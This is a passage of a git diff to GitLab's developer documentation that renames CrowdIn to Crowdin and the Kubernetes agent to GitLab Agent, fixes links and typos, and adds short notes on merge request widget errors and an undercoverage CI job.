+To see the full request logs, do **not** apply the `json.subcomponent` [filter](#logs-of-each-graphql-query), and instead:
+
+1. Add a filter:
+ 1. Filter: `json.meta.caller_id`
+ 1. Operator: `is`
+ 1. Value: `GraphqlController#execute`
+1. Select **Refresh**.
+
+Some differences from the [query logs](#logs-of-each-graphql-query) described above:
+
+- Some of the [Kibana fields mentioned above](#logs-of-each-graphql-query) are not available to the full request logs.
+- The names of filters differ. For example, instead of `json.query_analysis.used_fields` you select `json.graphql.used_fields`.
diff --git a/doc/development/i18n/externalization.md b/doc/development/i18n/externalization.md
index 52a7f839286..65cf8911e12 100644
--- a/doc/development/i18n/externalization.md
+++ b/doc/development/i18n/externalization.md
@@ -133,11 +133,9 @@ You can mark that content for translation with:
The `~/locale` module exports the following key functions for externalization:
-- `__()` (double underscore parenthesis)
-- `s__()` (namespaced double underscore parenthesis)
-- `__()` Mark content for translation (note the double underscore).
-- `s__()` Mark namespaced content for translation
-- `n__()` Mark pluralized content for translation
+- `__()` Mark content for translation (double underscore parenthesis).
+- `s__()` Mark namespaced content for translation (s double underscore parenthesis).
+- `n__()` Mark pluralized content for translation (n double underscore parenthesis).
```javascript
import { __, s__, n__ } from '~/locale';
@@ -822,11 +820,11 @@ bin/rake gettext:regenerate
```
This command updates the `locale/gitlab.pot` file with the newly externalized strings and removes
-any unused strings. Once the changes are on the default branch, [CrowdIn](https://translate.gitlab.com)
+any unused strings. Once the changes are on the default branch, [Crowdin](https://translate.gitlab.com)
picks them up and presents them for translation.
You don't need to check in any changes to the `locale/[language]/gitlab.po` files. They are updated
-automatically when [translations from CrowdIn are merged](merging_translations.md).
+automatically when [translations from Crowdin are merged](merging_translations.md).
If there are merge conflicts in the `gitlab.pot` file, you can delete the file and regenerate it
using the same command.
diff --git a/doc/development/i18n/index.md b/doc/development/i18n/index.md
index c22bb6ff020..0870a0e6750 100644
--- a/doc/development/i18n/index.md
+++ b/doc/development/i18n/index.md
@@ -32,8 +32,8 @@ See [Externalization for GitLab](externalization.md).
## Translate strings
The translation process is managed at [https://translate.gitlab.com](https://translate.gitlab.com)
-using [CrowdIn](https://crowdin.com/).
-You must create a CrowdIn account before you can submit translations. Once you are signed in, select
+using [Crowdin](https://crowdin.com/).
+You must create a Crowdin account before you can submit translations. Once you are signed in, select
the language you wish to contribute translations to.
Voting for translations is also valuable, helping to confirm good translations and flag inaccurate
@@ -54,4 +54,4 @@ instructions on becoming a proofreader yourself.
Translations are typically included in the next major or minor release.
-See [Merging translations from CrowdIn](merging_translations.md).
+See [Merging translations from Crowdin](merging_translations.md).
diff --git a/doc/development/i18n/merging_translations.md b/doc/development/i18n/merging_translations.md
index f89190fc316..43f19f8a9d6 100644
--- a/doc/development/i18n/merging_translations.md
+++ b/doc/development/i18n/merging_translations.md
@@ -4,27 +4,27 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Merging translations from CrowdIn
+# Merging translations from Crowdin
-CrowdIn automatically syncs the `gitlab.pot` file with the CrowdIn service, presenting
+Crowdin automatically syncs the `gitlab.pot` file with the Crowdin service, presenting
newly added externalized strings to the community of translators.
-The [GitLab CrowdIn Bot](https://gitlab.com/gitlab-crowdin-bot) also creates merge requests
+The [GitLab Crowdin Bot](https://gitlab.com/gitlab-crowdin-bot) also creates merge requests
to take newly approved translation submissions and merge them into the `locale/<language>/gitlab.po`
files. Check the [merge requests created by `gitlab-crowdin-bot`](https://gitlab.com/gitlab-org/gitlab/-/merge_requests?scope=all&state=opened&author_username=gitlab-crowdin-bot)
to see new and merged merge requests.
## Validation
-By default CrowdIn commits translations with `[skip ci]` in the commit
+By default Crowdin commits translations with `[skip ci]` in the commit
message. This avoids an excessive number of pipelines from running.
Before merging translations, make sure to trigger a pipeline to validate
-translations. Static analysis validates things CrowdIn doesn't do. Create
+translations. Static analysis validates things Crowdin doesn't do. Create
a new pipeline at [`https://gitlab.com/gitlab-org/gitlab/pipelines/new`](https://gitlab.com/gitlab-org/gitlab/pipelines/new)
(requires the Developer role) for the `master-i18n` branch.
If there are validation errors, the easiest solution is to disapprove
-the offending string in CrowdIn, leaving a comment with what is
+the offending string in Crowdin, leaving a comment with what is
required to fix the errors. There's an
[issue](https://gitlab.com/gitlab-org/gitlab/-/issues/23256)
that suggests automating this process. Disapproving excludes the
@@ -32,18 +32,18 @@ invalid translation. The merge request is then updated within a few
minutes.
If the translation fails validation due to angle brackets (`<` or `>`),
-it should be disapproved in CrowdIn. Our strings must use [variables](externalization.md#html)
+it should be disapproved in Crowdin. Our strings must use [variables](externalization.md#html)
for HTML instead.
-It might be useful to pause the integration on the CrowdIn side for a
+It might be useful to pause the integration on the Crowdin side for a
moment so translations don't keep coming. You can do this by clicking
-**Pause sync** on the [CrowdIn integration settings page](https://translate.gitlab.com/project/gitlab-ee/settings#integration).
+**Pause sync** on the [Crowdin integration settings page](https://translate.gitlab.com/project/gitlab-ee/settings#integration).
## Merging translations
After all translations are determined to be appropriate and the pipelines pass,
you can merge the translations into the default branch. When merging translations,
-be sure to select the **Remove source branch** checkbox. This causes CrowdIn
+be sure to select the **Remove source branch** checkbox. This causes Crowdin
to recreate the `master-i18n` branch from the default branch after merging the new
translation.
@@ -51,26 +51,26 @@ We are discussing [automating this entire process](https://gitlab.com/gitlab-org
## Recreate the merge request
-CrowdIn creates a new merge request as soon as the old one is closed
+Crowdin creates a new merge request as soon as the old one is closed
or merged. But it does not recreate the `master-i18n` branch every
-time. To force CrowdIn to recreate the branch, close any [open merge requests](https://gitlab.com/gitlab-org/gitlab/-/merge_requests?scope=all&state=opened&author_username=gitlab-crowdin-bot)
+time. To force Crowdin to recreate the branch, close any [open merge requests](https://gitlab.com/gitlab-org/gitlab/-/merge_requests?scope=all&state=opened&author_username=gitlab-crowdin-bot)
and delete the [`master-18n`](https://gitlab.com/gitlab-org/gitlab/-/branches/all?utf8=✓&search=master-i18n) branch.
This might be needed when the merge request contains failures that
have been fixed on the default branch.
-## Recreate the GitLab integration in CrowdIn
+## Recreate the GitLab integration in Crowdin
NOTE:
These instructions work only for GitLab Team Members.
-If for some reason the GitLab integration in CrowdIn doesn't exist, you can
+If for some reason the GitLab integration in Crowdin doesn't exist, you can
recreate it with the following steps:
1. Sign in to GitLab as `gitlab-crowdin-bot`. (If you're a GitLab Team Member,
find credentials in the GitLab shared
[1Password account](https://about.gitlab.com/handbook/security/#1password-for-teams).)
-1. Sign in to CrowdIn with the GitLab integration.
+1. Sign in to Crowdin with the GitLab integration.
1. Go to **Settings > Integrations > GitLab > Set Up Integration**.
1. Select the `gitlab-org/gitlab` repository.
1. In **Select Branches for Translation**, select `master`.
@@ -78,7 +78,7 @@ recreate it with the following steps:
## Manually update the translation levels
-There's no automated way to pull the translation levels from CrowdIn, to display
+There's no automated way to pull the translation levels from Crowdin, to display
this information in the language selection dropdown. Therefore, the translation
levels are hard-coded in the `TRANSLATION_LEVELS` constant in [`i18n.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/i18n.rb),
and must be regularly updated.
diff --git a/doc/development/i18n/translation.md b/doc/development/i18n/translation.md
index 04a9f68abec..61f9d7a25c3 100644
--- a/doc/development/i18n/translation.md
+++ b/doc/development/i18n/translation.md
@@ -6,9 +6,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Translating GitLab
-For managing the translation process, we use [CrowdIn](https://crowdin.com).
+For managing the translation process, we use [Crowdin](https://crowdin.com).
To contribute translations at [`translate.gitlab.com`](https://translate.gitlab.com),
-you must create a CrowdIn account. You may create a new account or use any of their supported
+you must create a Crowdin account. You may create a new account or use any of their supported
sign-in services.
## Language selections
@@ -16,12 +16,12 @@ sign-in services.
GitLab is being translated into many languages. To select a language to contribute to:
1. Find the language that you want to contribute to, in the
- [GitLab CrowdIn project](https://crowdin.com/project/gitlab-ee).
+ [GitLab Crowdin project](https://crowdin.com/project/gitlab-ee).
- If the language you want is available, proceed to the next step.
- If the language you want is not available,
[open an issue](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=✓&state=all&label_name[]=Category%3AInternationalization).
- Notify our CrowdIn administrators by including `@gitlab-org/manage/import` in your issue.
+ Notify our Crowdin administrators by including `@gitlab-org/manage/import` in your issue.
- After the issue and any merge requests are complete, restart this procedure.
1. View the list of files and folders. Select `gitlab.pot` to open the translation editor.
@@ -30,7 +30,7 @@ GitLab is being translated into many languages. To select a language to contribu
The online translation editor is the easiest way to contribute translations.
-![CrowdIn Editor](img/crowdin-editor.png)
+![Crowdin Editor](img/crowdin-editor.png)
- Strings for translation are listed in the left panel.
- Translations are entered into the central panel. Multiple translations are required for strings
diff --git a/doc/development/image_scaling.md b/doc/development/image_scaling.md
index 82ca8cf8e83..e1ffbdb766a 100644
--- a/doc/development/image_scaling.md
+++ b/doc/development/image_scaling.md
@@ -37,8 +37,8 @@ Furthermore, configuration in Workhorse can lead to the image scaler rejecting a
For instance, here are two different URLs that serve the GitLab project avatar both in its
original size and scaled down to 64 pixels. Only the second request will trigger the image scaler:
-- [`/uploads/-/system/project/avatar/278964/logo-extra-whitespace.png`](https://assets.gitlab-static.net/uploads/-/system/project/avatar/278964/logo-extra-whitespace.png)
-- [`/uploads/-/system/project/avatar/278964/logo-extra-whitespace.png?width=64`](https://assets.gitlab-static.net/uploads/-/system/project/avatar/278964/logo-extra-whitespace.png?width=64)
+- [`/uploads/-/system/project/avatar/278964/logo-extra-whitespace.png`](https://gitlab.com/uploads/-/system/project/avatar/278964/logo-extra-whitespace.png)
+- [`/uploads/-/system/project/avatar/278964/logo-extra-whitespace.png?width=64`](https://gitlab.com/uploads/-/system/project/avatar/278964/logo-extra-whitespace.png?width=64)
## Where do we scale images?
diff --git a/doc/development/index.md b/doc/development/index.md
index fa49d43d46c..1398104abda 100644
--- a/doc/development/index.md
+++ b/doc/development/index.md
@@ -139,8 +139,9 @@ In these cases, use the following workflow:
and approval from the VP of Development, the DRI for Development Guidelines,
@clefelhocz1.
-1. After all approvals are complete, assign the merge request to the
- Technical Writer for [Development Guidelines](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines)
+1. After all approvals are complete, review the page's metadata to
+ [find a Technical Writer](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments)
+ who can help you merge the changes.
for final content review and merge. The Technical Writer may ask for
additional approvals as previously suggested before merging the MR.
diff --git a/doc/development/integrations/codesandbox.md b/doc/development/integrations/codesandbox.md
index caef1cd045b..8fd1f0e331d 100644
--- a/doc/development/integrations/codesandbox.md
+++ b/doc/development/integrations/codesandbox.md
@@ -18,7 +18,7 @@ Before using CodeSandbox with your local GitLab instance, you must:
Follow the GDK [NGINX configuration instructions](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/doc/howto/nginx.md) to enable HTTPS for GDK.
1. Clone the [`codesandbox-client` project](https://github.com/codesandbox/codesandbox-client)
locally. If you plan on contributing upstream, you might want to fork and clone first.
-1. (Optional) Use correct `python` and `nodejs` versions. Otherwise, `yarn` may fail to
+1. Optional. Use correct `python` and `nodejs` versions. Otherwise, `yarn` may fail to
install or build some packages. If you're using `asdf` you can run the following commands:
```shell
diff --git a/doc/development/integrations/secure.md b/doc/development/integrations/secure.md
index 34293845d17..356e731aa87 100644
--- a/doc/development/integrations/secure.md
+++ b/doc/development/integrations/secure.md
@@ -298,7 +298,7 @@ this makes it possible to debug the problem without having to change the log lev
#### common `logutil` package
-If you are using [go](https://golang.org/) and
+If you are using [go](https://go.dev/) and
[common](https://gitlab.com/gitlab-org/security-products/analyzers/common),
then it is suggested that you use [Logrus](https://github.com/Sirupsen/logrus)
and [common's `logutil` package](https://gitlab.com/gitlab-org/security-products/analyzers/common/-/tree/master/logutil)
diff --git a/doc/development/interacting_components.md b/doc/development/interacting_components.md
index f6fec0cde8c..c137faf464c 100644
--- a/doc/development/interacting_components.md
+++ b/doc/development/interacting_components.md
@@ -29,5 +29,5 @@ See also [File Storage in GitLab](file_storage.md).
### Forks
GitLab supports a great amount of features for [merge requests](../user/project/merge_requests/index.md). One
-of them is the ability to create merge requests from and to [forks](../user/project/working_with_projects.md#fork-a-project),
+of them is the ability to create merge requests from and to [forks](../user/project/repository/forking_workflow.md#creating-a-fork),
which should also be highly considered and tested upon development phase.
diff --git a/doc/development/internal_api/index.md b/doc/development/internal_api/index.md
index 0fe9a5362cf..543c5f40f88 100644
--- a/doc/development/internal_api/index.md
+++ b/doc/development/internal_api/index.md
@@ -42,7 +42,7 @@ file, and include the token Base64 encoded in a `secret_token` parameter
or in the `Gitlab-Shared-Secret` header.
NOTE:
-The internal API used by GitLab Pages, and GitLab Kubernetes Agent Server (`kas`) uses JSON Web Token (JWT)
+The internal API used by GitLab Pages, and GitLab Agent Server (`kas`) uses JSON Web Token (JWT)
authentication, which is different from GitLab Shell.
## Git Authentication
@@ -400,13 +400,13 @@ Example response:
}
```
-## Kubernetes agent endpoints
+## GitLab Agent endpoints
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41045) in GitLab 13.4.
> - This feature is not deployed on GitLab.com
> - It's not recommended for production use.
-The following endpoints are used by the GitLab Kubernetes Agent Server (`kas`)
+The following endpoints are used by the GitLab Agent Server (`kas`)
for various purposes.
These endpoints are all authenticated using JWT. The JWT secret is stored in a file
@@ -414,11 +414,11 @@ specified in `config/gitlab.yml`. By default, the location is in the root of the
GitLab Rails app in a file called `.gitlab_kas_secret`.
WARNING:
-The Kubernetes agent is under development and is not recommended for production use.
+The GitLab Agent is under development and is not recommended for production use.
-### Kubernetes agent information
+### GitLab Agent information
-Called from GitLab Kubernetes Agent Server (`kas`) to retrieve agent
+Called from GitLab Agent Server (`kas`) to retrieve agent
information for the given agent token. This returns the Gitaly connection
information for the agent's project in order for `kas` to fetch and update
the agent's configuration.
@@ -434,9 +434,9 @@ curl --request GET --header "Gitlab-Kas-Api-Request: <JWT token>" \
--header "Authorization: Bearer <agent token>" "http://localhost:3000/api/v4/internal/kubernetes/agent_info"
```
-### Kubernetes agent project information
+### GitLab Agent project information
-Called from GitLab Kubernetes Agent Server (`kas`) to retrieve project
+Called from GitLab Agent Server (`kas`) to retrieve project
information for the given agent token. This returns the Gitaly
connection for the requested project. GitLab `kas` uses this to configure
the agent to fetch Kubernetes resources from the project repository to
@@ -460,9 +460,9 @@ curl --request GET --header "Gitlab-Kas-Api-Request: <JWT token>" \
--header "Authorization: Bearer <agent token>" "http://localhost:3000/api/v4/internal/kubernetes/project_info?id=7"
```
-### Kubernetes agent usage metrics
+### GitLab Agent usage metrics
-Called from GitLab Kubernetes Agent Server (`kas`) to increase the usage
+Called from GitLab Agent Server (`kas`) to increase the usage
metric counters.
| Attribute | Type | Required | Description |
@@ -481,9 +481,9 @@ curl --request POST --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Con
--data '{"gitops_sync_count":1}' "http://localhost:3000/api/v4/internal/kubernetes/usage_metrics"
```
-### Kubernetes agent alert metrics
+### GitLab Agent alert metrics
-Called from GitLab Kubernetes Agent Server (KAS) to save alerts derived from Cilium on Kubernetes
+Called from GitLab Agent Server (KAS) to save alerts derived from Cilium on Kubernetes
Cluster.
| Attribute | Type | Required | Description |
@@ -505,7 +505,7 @@ curl --request POST --header "Gitlab-Kas-Api-Request: <JWT token>" \
### Create Starboard vulnerability
-Called from the GitLab Kubernetes Agent Server (`kas`) to create a security vulnerability
+Called from the GitLab Agent Server (`kas`) to create a security vulnerability
from a Starboard vulnerability report. This request is idempotent. Multiple requests with the same data
create a single vulnerability.
diff --git a/doc/development/licensed_feature_availability.md b/doc/development/licensed_feature_availability.md
index 10e6d717a18..629d0027ffe 100644
--- a/doc/development/licensed_feature_availability.md
+++ b/doc/development/licensed_feature_availability.md
@@ -29,7 +29,7 @@ project.feature_available?(:feature_symbol)
## Restricting global features (instance)
However, for features such as [Geo](../administration/geo/index.md) and
-[Load balancing](../administration/database_load_balancing.md), which cannot be restricted
+[Database Load Balancing](../administration/postgresql/database_load_balancing.md), which cannot be restricted
to only a subset of projects or namespaces, the check is made directly in
the instance license.
diff --git a/doc/development/merge_request_performance_guidelines.md b/doc/development/merge_request_performance_guidelines.md
index cbf3c09b28b..69e9f7d16e3 100644
--- a/doc/development/merge_request_performance_guidelines.md
+++ b/doc/development/merge_request_performance_guidelines.md
@@ -160,10 +160,10 @@ query. This in turn makes it much harder for this code to overload a database.
## Use read replicas when possible
-In a DB cluster we have many read replicas and one primary. A classic use of scaling the DB is to have read-only actions be performed by the replicas. We use [load balancing](../administration/database_load_balancing.md) to distribute this load. This allows for the replicas to grow as the pressure on the DB grows.
+In a DB cluster we have many read replicas and one primary. A classic use of scaling the DB is to have read-only actions be performed by the replicas. We use [load balancing](../administration/postgresql/database_load_balancing.md) to distribute this load. This allows for the replicas to grow as the pressure on the DB grows.
By default, queries use read-only replicas, but due to
-[primary sticking](../administration/database_load_balancing.md#primary-sticking), GitLab uses the
+[primary sticking](../administration/postgresql/database_load_balancing.md#primary-sticking), GitLab uses the
primary for some time and reverts to secondaries after they have either caught up or after 30 seconds.
Doing this can lead to a considerable amount of unnecessary load on the primary.
To prevent switching to the primary [merge request 56849](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56849) introduced the
@@ -187,7 +187,7 @@ Internally, our database load balancer classifies the queries based on their mai
- Sidekiq background jobs
After the above queries are executed, GitLab
-[sticks to the primary](../administration/database_load_balancing.md#primary-sticking).
+[sticks to the primary](../administration/postgresql/database_load_balancing.md#primary-sticking).
To make the inside queries prefer using the replicas,
[merge request 59086](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59086) introduced
`fallback_to_replicas_for_ambiguous_queries`. This MR is also an example of how we redirected a
@@ -205,7 +205,7 @@ Keeping the old behavior requires marking CTEs with the keyword `MATERIALIZED`.
When building CTE statements, use the `Gitlab::SQL::CTE` class [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56976) in GitLab 13.11.
By default, this `Gitlab::SQL::CTE` class forces materialization through adding the `MATERIALIZED` keyword for PostgreSQL 12 and higher.
`Gitlab::SQL::CTE` automatically omits materialization when PostgreSQL 11 is running
-(this behavior is implemented using a custom arel node `Gitlab::Database::AsWithMaterialized` under the surface).
+(this behavior is implemented using a custom Arel node `Gitlab::Database::AsWithMaterialized` under the surface).
WARNING:
We plan to drop the support for PostgreSQL 11. Upgrading to GitLab 14.0 requires PostgreSQL 12 or higher.
diff --git a/doc/development/multi_version_compatibility.md b/doc/development/multi_version_compatibility.md
index 27a7cd6e85e..27c4edf15f4 100644
--- a/doc/development/multi_version_compatibility.md
+++ b/doc/development/multi_version_compatibility.md
@@ -64,7 +64,7 @@ To illustrate how these problems arise, take a look at this example:
In this example, you can imagine that we are updating by one monthly release. But refer to [How long must code be backwards-compatible?](#how-long-must-code-be-backwards-compatible).
-| Update step | Postgres DB | Web nodes | API nodes | Sidekiq nodes | Compatibility concerns |
+| Update step | PostgreSQL DB | Web nodes | API nodes | Sidekiq nodes | Compatibility concerns |
| --- | --- | --- | --- | --- | --- |
| Initial state | 🙂 | 🙂 | 🙂 | 🙂 | |
| Ran pre-deployment migrations | 🚢 except post-deploy migrations | 🙂 | 🙂 | 🙂 | Rails code in 🙂 is making DB calls to 🚢 |
@@ -102,7 +102,7 @@ But the problem isn't just that there are many nodes. The bigger problem is that
- "Web app nodes": Handle web requests
- "API app nodes": Handle API requests
- "Sidekiq app nodes": Handle Sidekiq jobs
-- "Postgres database": Handle internal Postgres calls
+- "PostgreSQL database": Handle internal PostgreSQL calls
- "Redis database": Handle internal Redis calls
- "Gitaly nodes": Handle internal Gitaly calls
@@ -110,7 +110,7 @@ During an update, there will be [two different versions of GitLab running in dif
## Doesn't the order of update steps matter?
-Yes! We have specific instructions for [zero-downtime updates](../update/index.md#upgrading-without-downtime) because it allows us to ignore some permutations of compatibility. This is why we don't worry about Rails code making DB calls to an old Postgres database schema.
+Yes! We have specific instructions for [zero-downtime updates](../update/index.md#upgrading-without-downtime) because it allows us to ignore some permutations of compatibility. This is why we don't worry about Rails code making DB calls to an old PostgreSQL database schema.
## I've identified a potential backwards compatibility problem, what can I do about it?
diff --git a/doc/development/new_fe_guide/modules/widget_extensions.md b/doc/development/new_fe_guide/modules/widget_extensions.md
index d1f6099e908..b833ba7c630 100644
--- a/doc/development/new_fe_guide/modules/widget_extensions.md
+++ b/doc/development/new_fe_guide/modules/widget_extensions.md
@@ -54,3 +54,26 @@ import issueExtension from '~/vue_merge_request_widget/extensions/issues';
// Register the imported extension
registerExtension(issueExtension);
```
+
+## Fetching errors
+
+If `fetchCollapsedData()` or `fetchFullData()` methods throw an error:
+
+- The loading state of the extension is updated to `LOADING_STATES.collapsedError` and `LOADING_STATES.expandedError`
+ respectively.
+- The extensions header displays an error icon and updates the text to be either:
+ - The text defined in `$options.i18n.error`.
+ - "Failed to load" if `$options.i18n.error` is not defined.
+- The error is sent to Sentry to log that it occurred.
+
+To customise the error text, you need to add it to the `i18n` object in your extension:
+
+```javascript
+export default {
+ //...
+ i18n: {
+ //...
+ error: __('Your error text'),
+ },
+};
+```
diff --git a/doc/development/performance.md b/doc/development/performance.md
index e59f7fb154b..b5294c8359d 100644
--- a/doc/development/performance.md
+++ b/doc/development/performance.md
@@ -365,7 +365,7 @@ This patch is available by default for
[GCK](https://gitlab.com/gitlab-org/gitlab-compose-kit/-/merge_requests/149)
and can additionally be enabled for [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/doc/advanced.md#apply-custom-patches-for-ruby).
-This patch provides the following metrics that make it easier to understand efficiency of memory use for a given codepath:
+This patch provides the following metrics that make it easier to understand efficiency of memory use for a given code path:
- `mem_total_bytes`: the number of bytes consumed both due to new objects being allocated into existing object slots
plus additional memory allocated for large objects (that is, `mem_bytes + slot_size * mem_objects`).
@@ -384,7 +384,7 @@ and `100M mem_bytes`. You can view the current usage on [GitLab.com](https://log
There are two ways of measuring your own code:
1. Review `api_json.log`, `development_json.log`, `sidekiq.log` that includes memory allocation counters.
-1. Use `Gitlab::Memory::Instrumentation.with_memory_allocations` for a given codeblock and log it.
+1. Use `Gitlab::Memory::Instrumentation.with_memory_allocations` for a given code block and log it.
1. Use [Measuring module](service_measurement.md)
```json
diff --git a/doc/development/pipelines.md b/doc/development/pipelines.md
index 71a11d2024c..c7443032d78 100644
--- a/doc/development/pipelines.md
+++ b/doc/development/pipelines.md
@@ -68,6 +68,7 @@ In addition, there are a few circumstances where we would always run the full RS
- when the `pipeline:run-all-rspec` label is set on the merge request
- when the merge request is created by an automation (e.g. Gitaly update or MR targeting a stable branch)
+- when the merge request is created in a security mirror
- when any CI config file is changed (i.e. `.gitlab-ci.yml` or `.gitlab/ci/**/*`)
### Jest minimal jobs
@@ -83,6 +84,7 @@ In addition, there are a few circumstances where we would always run the full Je
- when the `pipeline:run-all-jest` label is set on the merge request
- when the merge request is created by an automation (e.g. Gitaly update or MR targeting a stable branch)
+- when the merge request is created in a security mirror
- when any CI config file is changed (i.e. `.gitlab-ci.yml` or `.gitlab/ci/**/*`)
- when any frontend "core" file is changed (i.e. `package.json`, `yarn.lock`, `babel.config.js`, `jest.config.*.js`, `config/helpers/**/*.js`)
- when any vendored JavaScript file is changed (i.e. `vendor/assets/javascripts/**/*`)
@@ -220,6 +222,20 @@ The `* as-if-jh` jobs are run in addition to the regular EE-context jobs. The `j
The intent is to ensure that a change doesn't introduce a failure after the `gitlab-org/gitlab` project is synced to
the `gitlab-jh/gitlab` project.
+## `undercover` RSpec test
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74859) in GitLab 14.6.
+
+The `rspec:undercoverage` job runs [`undercover`](https://rubygems.org/gems/undercover)
+to detect, and fail if any changes introduced in the merge request has zero coverage.
+
+The `rsepc:undercoverage` job obtains coverage data from the `rspec:coverage`
+job.
+
+In the event of an emergency, or false positive from this job, add the
+`pipeline:skip-undercoverage` label to the merge request to allow this job to
+fail.
+
## PostgreSQL versions testing
Our test suite runs against PG12 as GitLab.com runs on PG12 and
@@ -820,7 +836,7 @@ We no longer use this optimization for `gitlab-org/gitlab` because the [pack-obj
allows Gitaly to serve the full CI/CD fetch traffic now. See [Git fetch caching](#git-fetch-caching).
The pre-clone step works by using the `CI_PRE_CLONE_SCRIPT` variable
-[defined by GitLab.com shared runners](../ci/runners/runner_cloud/linux_runner_cloud.md#pre-clone-script).
+[defined by GitLab.com shared runners](../ci/runners/saas/linux_saas_runner.md#pre-clone-script).
---
diff --git a/doc/development/policies.md b/doc/development/policies.md
index e5191f00d9a..9a977a49329 100644
--- a/doc/development/policies.md
+++ b/doc/development/policies.md
@@ -79,7 +79,7 @@ cop](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49771).
## Scores, Order, Performance
-To see how the rules get evaluated into a judgment, it is useful in a console to use `policy.debug(:some_ability)`. This prints the rules in the order they are evaluated.
+To see how the rules get evaluated into a judgment, open a Rails console and run: `policy.debug(:some_ability)`. This prints the rules in the order they are evaluated.
For example, let's say you wanted to debug `IssuePolicy`. You might run
the debugger in this way:
@@ -222,7 +222,7 @@ delegation would end up with only children whose parents enjoy green vegetables
eating it. But a parent may well give their child broccoli, even if they dislike
it themselves, because it is good for their child.
-The solution it to override the `:eat_broccoli` ability in the child policy:
+The solution is to override the `:eat_broccoli` ability in the child policy:
```ruby
class ChildPolicy < BasePolicy
diff --git a/doc/development/product_analytics/event_dictionary.md b/doc/development/product_analytics/event_dictionary.md
deleted file mode 100644
index 3931f0b35ab..00000000000
--- a/doc/development/product_analytics/event_dictionary.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/'
-remove_date: '2021-12-01'
----
-
-This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/).
-
-<!-- This redirect file can be deleted after 2021-12-01. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/product_analytics/index.md b/doc/development/product_analytics/index.md
deleted file mode 100644
index 3931f0b35ab..00000000000
--- a/doc/development/product_analytics/index.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/'
-remove_date: '2021-12-01'
----
-
-This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/).
-
-<!-- This redirect file can be deleted after 2021-12-01. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/rails_update.md b/doc/development/rails_update.md
index f25d68a8900..1a30e606c17 100644
--- a/doc/development/rails_update.md
+++ b/doc/development/rails_update.md
@@ -71,7 +71,7 @@ To efficiently and quickly find which Rails change caused the spec failure you c
gem 'rails', ENV['RAILS_VERSION'], path: ENV['RAILS_FOLDER']
```
-1. Set the `RAILS_FOLDER` env variable with the folder you cloned Rails into:
+1. Set the `RAILS_FOLDER` environment variable with the folder you cloned Rails into:
```shell
export RAILS_FOLDER="<GDK_FOLDER>/rails"
diff --git a/doc/development/reactive_caching.md b/doc/development/reactive_caching.md
index 5aaf4c72e64..b4deffe162a 100644
--- a/doc/development/reactive_caching.md
+++ b/doc/development/reactive_caching.md
@@ -228,7 +228,7 @@ self.reactive_cache_lease_timeout = 2.minutes
- It defaults to 1 minute.
```ruby
-self.reactive_cache_lease_timeout = 1.minute
+self.reactive_cache_refresh_interval = 1.minute
```
#### `self.reactive_cache_lifetime`
diff --git a/doc/development/ruby_upgrade.md b/doc/development/ruby_upgrade.md
index f9816986b2d..2102a256645 100644
--- a/doc/development/ruby_upgrade.md
+++ b/doc/development/ruby_upgrade.md
@@ -146,7 +146,7 @@ When upgrading Ruby, consider updating the following repositories:
- [Gitaly](https://gitlab.com/gitlab-org/gitaly) ([example](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/3771))
- [GitLab Labkit](https://gitlab.com/gitlab-org/labkit-ruby) ([example](https://gitlab.com/gitlab-org/labkit-ruby/-/merge_requests/79))
- [GitLab Exporter](https://gitlab.com/gitlab-org/gitlab-exporter) ([example](https://gitlab.com/gitlab-org/gitlab-exporter/-/merge_requests/150))
-- [GitLab Experiment](https://gitlab.com/gitlab-org/gitlab-experiment) ([example](https://gitlab.com/gitlab-org/gitlab-experiment/-/merge_requests/128))
+- [GitLab Experiment](https://gitlab.com/gitlab-org/ruby/gems/gitlab-experiment) ([example](https://gitlab.com/gitlab-org/ruby/gems/gitlab-experiment/-/merge_requests/128))
- [Gollum Lib](https://gitlab.com/gitlab-org/gollum-lib) ([example](https://gitlab.com/gitlab-org/gollum-lib/-/merge_requests/21))
- [GitLab Helm Chart](https://gitlab.com/gitlab-org/charts/gitlab) ([example](https://gitlab.com/gitlab-org/charts/gitlab/-/merge_requests/2162))
- [GitLab Sidekiq fetcher](https://gitlab.com/gitlab-org/sidekiq-reliable-fetch) ([example](https://gitlab.com/gitlab-org/sidekiq-reliable-fetch/-/merge_requests/33))
@@ -190,7 +190,7 @@ via `gdk update`.
This pause is a good time to assess the risk of this upgrade for GitLab SaaS.
For Ruby upgrades that are high risk, such as major version upgrades, it is recommended to
coordinate the changes with the infrastructure team through a [change management request](https://about.gitlab.com/handbook/engineering/infrastructure/change-management/).
-Create this issue early to give everyone enough time to schedule and prepare changes.
+Create this issue early to give everyone enough time to schedule and prepare changes.
### Make it the default Ruby
@@ -205,7 +205,7 @@ in that repository. This change is only necessary when the minor or major versio
([example](https://gitlab.com/gitlab-org/gitlab-compose-kit/-/merge_requests/176).)
As mentioned above, if the impact of the Ruby upgrade on SaaS availability is uncertain, it is
-prudent to skip this step until you have verified that it runs smootly in production via a staged
